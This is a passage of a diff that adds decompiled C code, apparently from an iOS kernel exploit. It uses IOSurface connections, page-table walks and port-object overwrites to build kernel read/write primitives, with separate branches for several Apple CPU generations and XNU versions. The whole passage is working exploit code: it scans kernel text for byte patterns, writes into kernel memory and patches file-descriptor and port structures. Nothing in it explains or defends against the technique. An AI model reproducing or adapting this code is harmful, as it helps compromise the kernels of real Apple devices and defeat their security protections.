+      v179 = walk_kaddr_chain_to_target(krwCtx, v176, 0);
+      v10 = 163878;
+      if ( !v179 )
+        return v10;
+      v180 = v179;
+      __handlec = kaddr_to_phys_v1(v5, v179);
+      if ( !__handlec )
+        return v10;
+      v10 = map_sptm_state_page(v4);
+      if ( (uint32_t)v10 )
+        return v10;
+      v10 = get_physmap_region_ptrs(v5, *(uint64_t *)(v4 + 11288), __handlec & ~*(uint64_t *)(v5 + 392), a1);
+      if ( (uint32_t)v10 )
+        return v10;
+      memory_entry = vm_map(
+                       mach_task_self_,
+                       (vm_address_t *)&name.msgh_bits,
+                       v174,
+                       0,
+                       1,
+                       *(uint32_t *)(v4 + 13552),
+                       0,
+                       0,
+                       3,
+                       3,
+                       2u);
+      if ( !memory_entry )
+      {
+        v181 = (*(uint64_t *)(v5 + 392) & v180) + *(uint64_t *)&name.msgh_bits;
+        v10 = 163893;
+        if ( *(uint32_t *)v181 != *(uint32_t *)(v181 + 4) )
+          return v10;
+        if ( *(uint64_t *)(v181 + 24) != *(uint64_t *)&outputStruct[0].msgh_bits )
+          return v10;
+        v10 = get_physmap_region_ptrs(v5, v181, 0, 0);
+        if ( (uint32_t)v10 )
+          return v10;
+        *(uint64_t *)(v181 + 24) = -1;
+        memory_entry = vm_deallocate(mach_task_self_, *(vm_address_t *)&name.msgh_bits, v174);
+        if ( !memory_entry )
+        {
+          v10 = get_physmap_region_ptrs(v5, *(uint64_t *)(v4 + 11288), v178 & ~*(uint64_t *)(v5 + 392), 0);
+          if ( (uint32_t)v10 )
+            return v10;
+          memory_entry = vm_map(
+                           mach_task_self_,
+                           (vm_address_t *)&name.msgh_bits,
+                           v174,
+                           0,
+                           1,
+                           *(uint32_t *)(v4 + 13552),
+                           0,
+                           0,
+                           3,
+                           3,
+                           2u);
+          if ( !memory_entry )
+          {
+            v182 = *(uint64_t *)&name.msgh_bits;
+            v183 = (*(uint64_t *)(v5 + 392) & v176) + *(uint64_t *)&name.msgh_bits;
+            if ( *(uint64_t *)(v183 + 32) != *(uint64_t *)&outputStruct[0].msgh_bits )
+              return 163857;
+            *(uint64_t *)(v183 + 32) = -1;
+            memory_entry = vm_deallocate(mach_task_self_, v182, v174);
+            if ( !memory_entry )
+            {
+              *(uint32_t *)(v5 + 88) = v319[0];
+              v10 = krw_read_validation(v5, 0);
+              if ( (uint32_t)v10 )
+                return v10;
+              *(uint64_t *)(v5 + 80) = 0;
+              *(uint64_t *)(v5 + 48) = 0;
+              v10 = krw_write_validation(krwCtx);
+              if ( (uint32_t)v10 )
+                return v10;
+              goto LABEL_257;
+            }
+          }
+        }
+      }
+    }
+    return memory_entry | 0x80000000;
+  }
+  v316 = 0;
+  v312 = 0;
+  v184 = 288;
+  if ( *(int *)(v5 + 320) > 8791 )
+    v184 = 264;
+  theDictd = (CFMutableDictionaryRef)v184;
+  v185 = 280;
+  if ( *(int *)(v5 + 320) > 8791 )
+    v185 = 256;
+  v280 = vm_page_size;
+  v285 = v185;
+  *(__int128 *)a1 = 0u;
+  v321 = 0u;
+  v186 = (unsigned int)ioservice_get_matching("IOSurfaceRoot");
+  v10 = 163854;
+  if ( v186 + 1 < 2 )
+    return v10;
+  v187 = v186;
+  if ( IOServiceOpen(v186, mach_task_self_, 0, (io_connect_t *)a1)
+    || (v297 = task_self_get_ipc_port(krwCtx, a1[0])) == 0 )
+  {
+    v188 = 0;
+    v297 = 0;
+    v278 = 0;
+  }
+  else
+  {
+    v215 = 0;
+    while ( 1 )
+    {
+      kobject = maybe_ipc_port_get_kobject(krwCtx, v297);
+      if ( !kobject )
+      {
+        v188 = 0;
+        kobject = 0;
+        v278 = 0;
+        v10 = 163877;
+        goto LABEL_402;
+      }
+      if ( *(unsigned int *)(v5 + 384) - (*(uint64_t *)(v5 + 392) & kobject) >= 0x200 )
+      {
+        v10 = 0;
+        v188 = a1[v215];
+        v278 = 1;
+        goto LABEL_402;
+      }
+      if ( v215 == 7 )
+      {
+        v188 = 0;
+        v278 = 0;
+        v10 = 708625;
+        goto LABEL_402;
+      }
+      if ( IOServiceOpen(v187, mach_task_self_, 0, (io_connect_t *)&a1[v215 + 1]) )
+        break;
+      v216 = task_self_get_ipc_port(krwCtx, a1[++v215]);
+      v297 = v216;
+      if ( !v216 )
+      {
+        v188 = 0;
+        v297 = 0;
+        goto LABEL_482;
+      }
+    }
+    v188 = 0;
+LABEL_482:
+    v278 = 0;
+  }
+  v10 = 163854;
+LABEL_402:
+  for ( n = 0; n != 8; ++n )
+  {
+    v190 = a1[n];
+    if ( v190 + 1 >= 2 && v190 != v188 )
+    {
+      IOServiceClose(v190);
+      a1[n] = 0;
+    }
+  }
+  IOObjectRelease(v187);
+  if ( !v278 )
+    return v10;
+  v273 = (__int64)theDictd + kobject;
+  v270 = kobject + v285;
+  v192 = 7;
+  while ( 2 )
+  {
+    v279 = v192;
+    outputStructCnt = 3936;
+    __handled = dlopen("/System/Library/Frameworks/IOSurface.framework/IOSurface", 1);
+    if ( !__handled )
+      return 110593;
+    v193 = (const void **)dlsym(__handled, "kIOSurfaceIsGlobal");
+    if ( !v193 )
+      goto LABEL_485;
+    v194 = *v193;
+    if ( !*v193 )
+      goto LABEL_485;
+    v195 = (const void **)dlsym(__handled, "kIOSurfaceWidth");
+    if ( !v195 )
+      goto LABEL_485;
+    v196 = *v195;
+    if ( !*v195 )
+      goto LABEL_485;
+    v197 = (const void **)dlsym(__handled, "kIOSurfaceHeight");
+    if ( !v197 )
+      goto LABEL_485;
+    v198 = *v197;
+    if ( !*v197 )
+      goto LABEL_485;
+    theDicte = CFDictionaryCreateMutable(0, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
+    if ( !theDicte )
+    {
+      v6 = 708617;
+LABEL_485:
+      dlclose(__handled);
+      return v6;
+    }
+    CFDictionarySetValue(theDicte, v194, kCFBooleanFalse);
+    cfdict_set_int32(theDicte, v196);
+    cfdict_set_int32(theDicte, v198);
+    v199 = IOCFSerialize(theDicte, 1u);
+    if ( v199 )
+    {
+      v200 = v199;
+      v201 = *(uint32_t *)(v5 + 320);
+      if ( v201 >= 8792 )
+      {
+        outputStructCnt = 2664;
+        goto LABEL_427;
+      }
+      if ( v201 < 8019 )
+      {
+        v203 = 0;
+        v202 = 0;
+      }
+      else
+      {
+LABEL_427:
+        *(uint64_t *)v319 = 0;
+        v202 = 1;
+        v203 = v319;
+      }
+      BytePtr = CFDataGetBytePtr(v199);
+      Length = CFDataGetLength(v200);
+      if ( IOConnectCallMethod(
+             v188,
+             0,
+             (const uint64_t *)v203,
+             v202,
+             BytePtr,
+             Length,
+             0,
+             0,
+             outputStruct,
+             &outputStructCnt) )
+      {
+        v10 = 4097;
+      }
+      else
+      {
+        v206 = v285;
+        if ( outputStruct[1].msgh_bits < 0x10000 )
+          v206 = outputStruct[1].msgh_bits;
+        LODWORD(v285) = v206;
+        if ( outputStruct[1].msgh_bits >= 0x10000 )
+          v10 = 163857;
+        else
+          v10 = 0;
+      }
+      CFRelease(v200);
+    }
+    else
+    {
+      v10 = 708617;
+    }
+    CFRelease(theDicte);
+    dlclose(__handled);
+    if ( (uint32_t)v10 )
+      return v10;
+    if ( !(unsigned int)krw_read_thunk(krwCtx, v273, 8, &v313) )
+      return 163855;
+    if ( v313 <= (unsigned int)v285 )
+      return 163857;
+    if ( !kread_physmap_decorated(krwCtx, v270, (unsigned __int64 *)&v317) )
+      return 163855;
+    if ( !validate_kaddr_range(v5, v317) )
+      return 163878;
+    if ( !kread_physmap_decorated(krwCtx, v317 + (unsigned int)(8 * v285), (unsigned __int64 *)&v316) )
+      return 163855;
+    if ( !validate_kaddr_range(v5, v316) )
+      return 163878;
+    if ( !kread_physmap_decorated(krwCtx, v316 + 64, (unsigned __int64 *)&v315) )
+      return 163855;
+    if ( !validate_kaddr_range(v5, v315) )
+      return 163878;
+    v207 = *(uint64_t *)(v5 + 392);
+    v208 = v207 & v315;
+    if ( *(unsigned int *)(v5 + 384) - (v207 & (unsigned __int64)v315) <= 0x4FF )
+    {
+      v192 = v279 - 1;
+      if ( v279 )
+        continue;
+    }
+    break;
+  }
+  v311 = 0;
+  v209 = pgtable_walk_wrapper(v5, v315 & ~v207, &name);
+  v10 = 163878;
+  if ( !v209 )
+    return v10;
+  __handlee = v311;
+  v210 = *(uint64_t *)(v5 + 392);
+  v211 = pgtable_walk_wrapper(v5, kobject & ~v210, &name);
+  if ( !v211 )
+    return v10;
+  v212 = v311;
+  v10 = map_sptm_state_page(v4);
+  if ( (uint32_t)v10 )
+    return v10;
+  v10 = iokit_kwrite_via_port(
+          krwCtx,
+          *(uint64_t *)(v4 + 11288),
+          *(uint64_t *)(v4 + 13560),
+          0,
+          *(uint64_t *)(v4 + 11288) + 192LL,
+          *(uint64_t *)(v4 + 13560) + 192LL,
+          v212 & 0xFFFFFFFFC000LL);
+  if ( (uint32_t)v10 )
+    return v10;
+  memory_entry = vm_map(mach_task_self_, &v312, v280, 0, 1, *(uint32_t *)(v4 + 13552), 0, 0, 3, 3, 2u);
+  if ( memory_entry )
+    return memory_entry | 0x80000000;
+  v213 = v312 + (v210 & kobject);
+  v10 = 163857;
+  if ( *(uint64_t *)(v213 + 88) || *(uint8_t *)(v213 + 153) )
+    return v10;
+  if ( !validate_kaddr_range(v5, *(uint64_t *)(v213 + 136)) )
+    return 163878;
+  *(uint64_t *)(v213 + 136) = kobject + 80;
+  *(uint8_t *)(v213 + 153) = 64;
+  memory_entry = vm_deallocate(mach_task_self_, v312, v280);
+  if ( memory_entry )
+    return memory_entry | 0x80000000;
+  v10 = iokit_kwrite_via_port(
+          krwCtx,
+          *(uint64_t *)(v4 + 11288),
+          *(uint64_t *)(v4 + 13560),
+          1,
+          *(uint64_t *)(v4 + 11288) + 192LL,
+          *(uint64_t *)(v4 + 13560) + 192LL,
+          __handlee & 0xFFFFFFFFC000LL);
+  if ( (uint32_t)v10 )
+    return v10;
+  memory_entry = vm_map(mach_task_self_, &v312, v280, 0, 1, *(uint32_t *)(v4 + 13552), 0, 0, 3, 3, 2u);
+  if ( memory_entry )
+    return memory_entry | 0x80000000;
+  *(uint32_t *)(v5 + 232) = v188;
+  v214 = v312;
+  *(uint64_t *)(v5 + 240) = v315;
+  *(uint64_t *)(v5 + 248) = v214;
+  *(uint64_t *)(v5 + 256) = v280;
+  *(uint64_t *)(v5 + 264) = v208;
+  *(uint32_t *)(v5 + 272) = v285;
+  *(uint32_t *)(v5 + 276) = *(uint32_t *)(v4 + 13552);
+  *(uint32_t *)(v4 + 13552) = 0;
+  v10 = 163841;
+  if ( v188 + 1 < 2 || !v214 || !v280 )
+    return v10;
+  if ( !(unsigned int)kread_modify_u32_with_delta(krwCtx, v297, 16) )
+    return 163856;
+  *(uint64_t *)(v5 + 80) = 0;
+  v121 = (uint64_t *)(v5 + 48);
+LABEL_256:
+  *v121 = 0;
+LABEL_257:
+  v122 = *(uint64_t *)(v5 + 424);
+  if ( !v122 )
+    return 163848;
+  if ( !kread_u32(v5, v122, outputStruct) || (outputStruct[0].msgh_bits & 0x3FF) - 3 >= 2 )
+    return v305;
+  v123 = *(uint32_t *)(v4 + 13856);
+  if ( !v123 )
+  {
+LABEL_270:
+    v10 = 0;
+    goto LABEL_271;
+  }
+  v124 = 0;
+  v125 = v4 + 13600;
+  while ( 2 )
+  {
+    v126 = *(uint32_t *)(v125 + 4 * v124);
+    if ( v126 + 1 < 2 )
+    {
+LABEL_269:
+      if ( ++v124 >= (unsigned __int64)v123 )
+        goto LABEL_270;
+      continue;
+    }
+    break;
+  }
+  v127 = get_task_kobject_addr(krwCtx, *(uint32_t *)(v125 + 4 * v124));
+  if ( !v127 )
+  {
+    v10 = 163848;
+    goto LABEL_271;
+  }
+  v128 = walk_kaddr_chain_to_target(krwCtx, v127, 1);
+  if ( !v128 )
+  {
+    v10 = 163878;
+    goto LABEL_271;
+  }
+  v129 = v128 + 56;
+  if ( !kread64_internal(krwCtx, v128 + 56, (uint64_t *)outputStruct) )
+  {
+    v10 = 163855;
+    goto LABEL_271;
+  }
+  if ( !*(uint64_t *)&outputStruct[0].msgh_bits || kwrite_physmap_with_a3_ptr(v5, v129, 0) )
+  {
+    mach_port_deallocate(mach_task_self_, v126);
+    *(uint32_t *)(v125 + 4 * v124) = 0;
+    v123 = *(uint32_t *)(v4 + 13856);
+    goto LABEL_269;
+  }
+  v10 = 163856;
+LABEL_271:
+  v130 = 0;
+  *(uint32_t *)(v4 + 13856) = 0;
+  __handleb = (char *)(v4 + 192);
+  v131 = v4 + 64;
+  while ( 2 )
+  {
+    theDictc = (CFMutableDictionaryRef)(v4 + 688 * v130 + 16);
+    v293 = *(uint64_t *)theDictc;
+    if ( *(uint64_t *)theDictc )
+    {
+      v296 = *(uint64_t *)(v4 + 688 * v130 + 32);
+      if ( v296 )
+      {
+        v132 = v4 + 688 * v130;
+        v272 = *(uint32_t *)(v132 + 56);
+        v284 = *(uint64_t *)(v132 + 24);
+        if ( *(uint32_t *)v4 == 3 )
+        {
+          v133 = *(uint32_t *)(v4 + 688 * v130 + 52);
+          if ( v133 + 1 >= 2 )
+          {
+            v136 = get_task_kobject_addr(krwCtx, v133);
+            if ( !v136 )
+            {
+              v10 = 163848;
+              break;
+            }
+            v137 = walk_kaddr_chain_to_target(krwCtx, v136, 1);
+            if ( !v137 )
+            {
+LABEL_488:
+              v10 = 163878;
+              break;
+            }
+            v138 = v137 + 56;
+            if ( !kread64_internal(krwCtx, v137 + 56, (uint64_t *)outputStruct) )
+            {
+LABEL_487:
+              v10 = 163855;
+              break;
+            }
+            if ( *(uint64_t *)&outputStruct[0].msgh_bits && !kwrite_physmap_with_a3_ptr(v5, v138, 0) )
+            {
+LABEL_370:
+              v10 = 163856;
+              break;
+            }
+          }
+          else
+          {
+            v134 = traverse_sptm_pgtable_chain(krwCtx, mach_task_self_, v293);
+            if ( !v134 )
+            {
+              v10 = 163857;
+              break;
+            }
+            v135 = v134 + 56;
+            if ( !kread64_internal(krwCtx, v134 + 56, (uint64_t *)outputStruct) )
+              goto LABEL_487;
+            if ( *(uint64_t *)&outputStruct[0].msgh_bits && !kwrite_physmap_with_a3_ptr(v5, v135, 0) )
+              goto LABEL_370;
+            if ( v284 )
+              *(uint32_t *)(v284 + v293) = 0;
+          }
+        }
+        if ( !krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) )
+        {
+          outputStructCnt = 0;
+          has_flag = krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A8);
+          if ( has_flag )
+          {
+            v265 = 0xFFFFFFFFF000LL;
+            v267 = 4095;
+            v277 = 4096;
+          }
+          else
+          {
+            v277 = *(unsigned int *)(v5 + 384);
+            v265 = 0xFFFFFFFFC000LL;
+            v267 = *(uint64_t *)(v5 + 392);
+          }
+          v151 = *(uint64_t *)(v4 + 13568);
+          if ( v151 && *(uint64_t *)(v4 + 13576) )
+          {
+            *(uint64_t *)v319 = *(uint64_t *)(v4 + 13576);
+            *(uint64_t *)a1 = v151;
+          }
+          else
+          {
+            resolve_kernel_text_range(&name, krwCtx);
+            outputStruct[0] = name;
+            if ( has_flag )
+              v152 = "29 01 00 8A .. .. .. .. .. .. .. .. 29 01 0A CB";
+            else
+              v152 = "08 7C 72 92 .. .. .. .. .. .. .. .. 08 01 09 CB";
+            v153 = kernel_pattern_scan((__int64)&name, v152, 0);
+            if ( !v153 )
+              goto LABEL_499;
+            v154 = find_kernel_func(*(__int64 **)(v5 + 6648), (__int64 *)(v153 + 4));
+            *(uint64_t *)a1 = v154;
+            if ( !v154 )
+              goto LABEL_499;
+            if ( !kread64_internal(krwCtx, v154, (uint64_t *)a1) )
+              goto LABEL_495;
+            if ( !*(uint64_t *)a1
+              || (v155 = find_kernel_func(*(__int64 **)(v5 + 6648), (__int64 *)(v153 + 20)), (*(uint64_t *)v319 = v155) == 0) )
+            {
+              v6 = 163878;
+              goto LABEL_499;
+            }
+            if ( !kread_physmap_decorated(krwCtx, v155, (unsigned __int64 *)v319) )
+            {
+LABEL_495:
+              v6 = 163855;
+LABEL_499:
+              v10 = v6;
+              break;
+            }
+            if ( !validate_kaddr_range(v5, *(__int64 *)v319) )
+            {
+              v6 = 163878;
+              goto LABEL_499;
+            }
+            *(uint64_t *)(v4 + 13568) = *(uint64_t *)a1;
+            *(uint64_t *)(v4 + 13576) = *(uint64_t *)v319;
+          }
+          if ( v284 )
+          {
+            v156 = 0;
+            v263 = 0;
+            v157 = 0;
+            do
+            {
+              if ( v157 && (v157 & (unsigned __int64)v267) + 8 < v277 )
+              {
+                v157 += 8;
+                if ( !(unsigned int)krw_read_thunk(krwCtx, v157, 8, &v317) )
+                  goto LABEL_487;
+                v158 = v317;
+              }
+              else
+              {
+                *(uint64_t *)&outputStruct[0].msgh_bits = 0;
+                *(uint64_t *)&name.msgh_bits = 0;
+                v159 = krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A8);
+                v160 = 0xFFFFFFFFF000LL;
+                if ( !v159 )
+                  v160 = 0xFFFFFFFFC000LL;
+                v269 = v160;
+                v161 = task_struct_field_kread(krwCtx, mach_task_self_);
+                if ( !v161 )
+                  goto LABEL_488;
+                if ( !kread_physmap_decorated(krwCtx, v161, (unsigned __int64 *)&outputStruct[0].msgh_bits) )
+                  goto LABEL_487;
+                if ( (!*(uint64_t *)(v5 + 6256) || !*(uint64_t *)(v5 + 6264)) && !(unsigned int)init_kread_pattern_addrs((uint64_t *)v5) )
+                {
+                  v10 = 163843;
+                  goto LABEL_500;
+                }
+                valuea = v293 + v156;
+                v162 = *(uint64_t *)&outputStruct[0].msgh_bits;
+                if ( v159 )
+                {
+                  v163 = valuea >> 30;
+                  v164 = 255;
+                }
+                else
+                {
+                  v165 = krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A16_A17_MASK | KRW_CTX_FLAG_CPU_HIGH_CORE_CLUSTER);
+                  v163 = 2047;
+                  if ( !v165 )
+                    v163 = 7;
+                  v164 = valuea >> 36;
+                }
+                if ( !(unsigned int)krw_read_thunk(krwCtx, v162 + 8 * (v163 & v164), 8, &name) )
+                  goto LABEL_487;
+                if ( (~LOBYTE(name.msgh_bits) & 3) != 0 )
+                  goto LABEL_363;
+                v166 = translate_physmap_addr_via_segments(v5, *(uint64_t *)(v5 + 6256), *(uint64_t *)(v5 + 6264), *(uint64_t *)&name.msgh_bits & v269);
+                if ( !v166 )
+                  goto LABEL_488;
+                v167 = (valuea >> 21) & 0x1FF;
+                if ( !v159 )
+                  v167 = (valuea >> 25) & 0x7FF;
+                if ( !(unsigned int)krw_read_thunk(krwCtx, v166 + 8 * v167, 8, &name) )
+                  goto LABEL_487;
+                if ( (~LOBYTE(name.msgh_bits) & 3) != 0 )
+                {
+LABEL_363:
+                  v157 = 0;
+                  goto LABEL_364;
+                }
+                v263 = *(uint64_t *)&name.msgh_bits & v269;
+                v168 = translate_physmap_addr_via_segments(v5, *(uint64_t *)(v5 + 6256), *(uint64_t *)(v5 + 6264), *(uint64_t *)&name.msgh_bits & v269);
+                if ( !v168 )
+                  goto LABEL_488;
+                v169 = (valuea >> 12) & 0x1FF;
+                if ( !v159 )
+                  v169 = (valuea >> 14) & 0x7FF;
+                v157 = v168 + 8 * v169;
+                if ( !(unsigned int)krw_read_thunk(krwCtx, v157, 8, &name) )
+                  goto LABEL_487;
+                v158 = *(uint64_t *)&name.msgh_bits;
+                v317 = *(uint64_t *)&name.msgh_bits;
+              }
+              if ( !v158 )
+                goto LABEL_364;
+              v170 = v158 & v265;
+              if ( !v170 )
+                goto LABEL_364;
+              if ( !(unsigned int)krw_read_thunk(
+                                    krwCtx,
+                                    8LL * (unsigned int)((unsigned __int64)(v170 - *(uint64_t *)a1) >> vm_page_shift)
+                                  + *(uint64_t *)v319,
+                                    8,
+                                    &v316) )
+                goto LABEL_487;
+              v171 = v316 & 3;
+              if ( (v316 & 3) != 0 )
+              {
+                if ( v171 == 2 )
+                {
+                  v172 = v293 + v156;
+                  if ( ((v316 & 0xFFFFFFFFFFFCLL) | 0xFFFF000000000000LL) == v157 - (((v293 + v156) >> 9) & 0x18) )
+                    goto LABEL_364;
+                  goto LABEL_367;
+                }
+                if ( v171 != 3 )
+                  goto LABEL_364;
+              }
+              v172 = v293 + v156;
+LABEL_367:
+              if ( (*(uint64_t *)(v5 + 392) & v172) == 0 )
+              {
+                v173 = setup_vm_for_kwrite(krwCtx, v4, v263);
+                if ( (uint32_t)v173 )
+                {
+                  v10 = v173;
+                  goto LABEL_500;
+                }
+              }
+              if ( !(unsigned int)kwrite_with_retry(v5, v157, (__int64)&outputStructCnt, 8) )
+                goto LABEL_370;
+LABEL_364:
+              v156 += v277;
+            }
+            while ( v156 < v284 );
+          }
+        }
+        v139 = vm_deallocate(mach_task_self_, v293, v296);
+        if ( v139 || (v272 + 1 > 1 && (v139 = mach_port_deallocate(mach_task_self_, v272)) != 0) )
+        {
+          v10 = v139 | 0x80000000;
+          break;
+        }
+        for ( ii = 0; ii != 512; ii += 8 )
+        {
+          v141 = *(uint64_t *)&__handleb[ii];
+          if ( v141 )
+          {
+            vm_deallocate(mach_task_self_, v141, vm_page_size);
+            *(uint64_t *)&__handleb[ii] = 0;
+          }
+        }
+        for ( jj = 0; jj != 128; jj += 8 )
+        {
+          v143 = *(uint64_t *)(v131 + jj);
+          if ( v143 )
+          {
+            vm_deallocate(mach_task_self_, v143, v296);
+            *(uint64_t *)(v131 + jj) = 0;
+          }
+        }
+        bzero(theDictc, 0x2B0u);
+        v10 = 0;
+      }
+    }
+    v144 = 0;
+    v145 = 1;
+    while ( 2 )
+    {
+      v146 = v145;
+      v147 = v4 + 16 * v130 + 8 * v144;
+      v148 = *(uint64_t *)(v147 + 11024);
+      if ( !v148 )
+      {
+LABEL_304:
+        v145 = 0;
+        v144 = 1;
+        if ( (v146 & 1) == 0 )
+          goto LABEL_307;
+        continue;
+      }
+      break;
+    }
+    v149 = vm_deallocate(mach_task_self_, v148, vm_page_size);
+    if ( !v149 )
+    {
+      *(uint64_t *)(v147 + 11024) = 0;
+      goto LABEL_304;
+    }
+    v10 = v149 | 0x80000000;
+LABEL_307:
+    ++v130;
+    __handleb += 688;
+    v131 += 688;
+    if ( v130 != 16 )
+      continue;
+    break;
+  }
+LABEL_500:
+  v217 = *v260;
+  if ( *v260 )
+  {
+    v218 = 0;
+    v219 = v4 + 13892;
+    do
+    {
+      v220 = *(uint32_t *)(v219 + 4 * v218);
+      if ( v220 + 1 >= 2 )
+      {
+        mach_port_deallocate(mach_task_self_, v220);
+        *(uint32_t *)(v219 + 4 * v218) = 0;
+        v217 = *v260;
+      }
+      ++v218;
+    }
+    while ( v218 < v217 );
+  }
+  *v260 = 0;
+  v221 = *(uint32_t *)(v4 + 26184);
+  if ( v221 )
+  {
+    v222 = 0;
+    v223 = v4 + 17992;
+    do
+    {
+      v224 = *(uint64_t *)(v223 + 8 * v222);
+      if ( v224 )
+      {
+        vm_deallocate(mach_task_self_, v224, vm_page_size);
+        *(uint64_t *)(v223 + 8 * v222) = 0;
+        v221 = *(uint32_t *)(v4 + 26184);
+      }
+      ++v222;
+    }
+    while ( v222 < v221 );
+  }
+  *(uint32_t *)(v4 + 26184) = 0;
+  v225 = *(uint64_t *)(v5 + 344);
+  if ( v225 <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
+  {
+    if ( v225 >= XNU_VERSION_PACKED(7195, 42, 1, 0, 0) && ((*(uint32_t *)v5 & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 || v225 >= XNU_VERSION_PACKED(8019, 0, 0, 0, 0)) )
+      goto LABEL_532;
+    *(uint64_t *)v319 = -1;
+    *(uint64_t *)a1 = -1;
+    pipe = fd_make_pipe(a1);
+    if ( !pipe )
+    {
+      pipe = setup_two_fds(a1);
+      if ( !pipe )
+      {
+        pipe = fd_make_pipe((int *)v319);
+        if ( !pipe )
+        {
+          v236 = kread_task_struct(krwCtx, mach_task_self_);
+          if ( v236 )
+          {
+            v237 = v236;
+            pipe = read_ipc_port_table_entry(krwCtx, v236, a1[0], (unsigned __int64 *)outputStruct);
+            if ( !pipe )
+            {
+              pipe = read_ipc_port_table_entry(krwCtx, v237, v319[0], (unsigned __int64 *)&name);
+              if ( !pipe )
+              {
+                if ( kwrite64(
+                       krwCtx,
+                       *(uint64_t *)&outputStruct[0].msgh_bits + 16LL,
+                       *(__int64 *)&name.msgh_bits) )
+                {
+                  pipe = 258052;
+                  v238 = a1[0];
+                  v239 = a1[1];
+                  *(uint32_t *)(v5 + 6448) = a1[0];
+                  *(uint32_t *)(v5 + 6452) = v239;
+                  v240 = v319[0];
+                  v241 = v319[1];
+                  *(uint32_t *)(v5 + 6456) = v319[0];
+                  *(uint32_t *)(v5 + 6460) = v241;
+                  if ( v238 != -1 && v239 != -1 && v240 != -1 && v241 != -1 )
+                  {
+                    pipe = fileport_kobj_vm_attr_check(krwCtx, v238);
+                    if ( !pipe )
+                    {
+                      pipe = fileport_kobj_vm_attr_check(krwCtx, *(uint32_t *)(v5 + 6452));
+                      if ( !pipe )
+                      {
+                        pipe = fileport_kobj_vm_attr_check(krwCtx, *(uint32_t *)(v5 + 6456));
+                        if ( !pipe )
+                        {
+                          pipe = fileport_kobj_vm_attr_check(krwCtx, *(uint32_t *)(v5 + 6460));
+                          if ( !pipe )
+                          {
+LABEL_531:
+                            v305 = pipe;
+                            goto LABEL_547;
+                          }
+                        }
+                      }
+                    }
+                  }
+                }
+                else
+                {
+                  pipe = 163856;
+                }
+              }
+            }
+          }
+          else
+          {
+            pipe = 163878;
+          }
+        }
+      }
+    }
+    if ( a1[0] != -1 )
+      close(a1[0]);
+    if ( a1[1] != -1 )
+      close(a1[1]);
+    if ( v319[0] != -1 )
+      close(v319[0]);
+    if ( v319[1] != -1 )
+      close(v319[1]);
+    *(uint64_t *)(v5 + 6456) = -1;
+    *(uint64_t *)(v5 + 6448) = -1;
+    goto LABEL_531;
+  }
+  v226 = (*(uint32_t *)v5 & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 || v225 > XNU_VERSION_PACKED(8020, 99, 1023, 1023, 1023);
+  if ( !v226 )
+  {
+LABEL_532:
+    *(uint64_t *)&outputStruct[0].msgh_bits = -1;
+    v228 = task_proc_struct_field_offset(krwCtx);
+    if ( v228 )
+    {
+      v229 = v228;
+      v314 = 0;
+      v230 = fd_make_pipe((int *)outputStruct);
+      if ( v230 || (v230 = setup_two_fds((int *)outputStruct)) != 0 )
+      {
+        v231 = -1;
+        v305 = v230;
+        goto LABEL_536;
+      }
+      fd_write((__int64)outputStruct, &v314, 4u);
+      fd_read((int *)outputStruct, &v314, 4u);
+      v233 = socket(2, 2, 0);
+      if ( v233 == -1 )
+      {
+        v242 = errno;
+        v243 = errno;
+        if ( v242 < 0 )
+          v243 = -v243;
+        v305 = v243 | 0x40000000;
+        v231 = -1;
+LABEL_536:
+        v232 = -1;
+        goto LABEL_537;
+      }
+      v231 = v233;
+      v234 = open("/private/etc/group", 0);
+      if ( v234 == -1 )
+      {
+        v244 = errno;
+        v245 = errno;
+        if ( v244 < 0 )
+          v245 = -v245;
+        v305 = v245 | 0x40000000;
+        v232 = -1;
+        goto LABEL_537;
+      }
+      v232 = v234;
+      if ( !kread_physmap_decorated(krwCtx, *(uint64_t *)(v4 + 11280) + v229, (unsigned __int64 *)&v317) )
+        goto LABEL_537;
+      v235 = get_ipc_kobject_offset(krwCtx, v317, &outputStructCnt);
+      if ( v235 )
+        goto LABEL_553;
+      if ( *(uint64_t *)(v5 + 544) )
+      {
+        v246 = outputStructCnt;
+LABEL_578:
+        if ( !kread_physmap_decorated(
+                krwCtx,
+                v246 + (int)outputStruct[0].msgh_bits * (__int64)*(int *)(v5 + 360),
+                (unsigned __int64 *)&name.msgh_bits)
+          || !kread_physmap_decorated(krwCtx, *(uint64_t *)&name.msgh_bits + 16LL, (unsigned __int64 *)a1)
+          || !kread_physmap_decorated(krwCtx, *(uint64_t *)a1 + 56LL, (unsigned __int64 *)&v315)
+          || !kread_physmap_decorated(krwCtx, v315 + 16, (unsigned __int64 *)&v316) )
+        {
+          goto LABEL_537;
+        }
+        if ( validate_kaddr_range(v5, v316) )
+        {
+          if ( !kread_physmap_decorated(
+                  krwCtx,
+                  v246 + *(int *)(v5 + 360) * (__int64)v231,
+                  (unsigned __int64 *)&name.msgh_bits)
+            || !kread_physmap_decorated(krwCtx, *(uint64_t *)&name.msgh_bits + 16LL, (unsigned __int64 *)v319) )
+          {
+            goto LABEL_537;
+          }
+          v235 = krw_fd_verify_roundtrip(krwCtx, (int *)outputStruct, *(unsigned __int64 *)v319);
+          if ( v235 )
+          {
+LABEL_553:
+            v305 = v235;
+            goto LABEL_537;
+          }
+          if ( kwrite64(krwCtx, *(uint64_t *)&name.msgh_bits + 16LL, v316) )
+          {
+            v247 = outputStruct[0].msgh_bits;
+            msgh_size = outputStruct[0].msgh_size;
+            *(uint32_t *)(v5 + 6448) = outputStruct[0].msgh_bits;
+            *(uint32_t *)(v5 + 6452) = msgh_size;
+            *(uint32_t *)(v5 + 6464) = v231;
+            v249 = v316;
+            *(uint64_t *)(v5 + 536) = v316;
+            v305 = 163841;
+            if ( v247 != -1 && msgh_size != -1 )
+            {
+              if ( v249 )
+              {
+                v305 = fileport_kobj_vm_attr_check(krwCtx, v247);
+                if ( !v305 )
+                {
+                  v305 = fileport_kobj_vm_attr_check(krwCtx, *(uint32_t *)(v5 + 6452));
+                  goto LABEL_620;
+                }
+              }
+            }
+            goto LABEL_537;
+          }
+          v258 = 163856;
+        }
+        else
